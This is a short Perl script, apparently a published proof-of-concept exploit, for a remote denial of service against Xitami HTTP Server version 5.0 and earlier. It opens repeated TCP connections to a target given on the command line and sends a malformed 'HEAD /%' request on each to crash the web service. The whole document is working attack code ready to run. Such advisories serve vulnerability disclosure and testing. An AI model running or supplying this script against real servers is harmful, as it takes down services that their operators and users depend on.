#!/usr/bin/perl
#
# Xitami HTTP Server <= v5.0 Remote Denial of Service.
#
# ------------------------------------------------------------------------------
# The vulnerability is caused due to an error with HEAD request and multi-socket
# This can be exploited to crash the HTTP service.
# ------------------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org

use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft   : Xitami HTTP Server v5.0\n";

 if (@ARGV < 1)
  {
   print "[-] Usage: <file.pl> <host> <port>\n";
   print "[-] Exemple: file.pl 127.0.0.1 80\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];

print "[+] Sending request...\n";

for($i=0;$i<20;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Failed\n";

 print $socket "HEAD /% HTTP/1.0\r\n\r\n";
}

print "[+] Done!\n";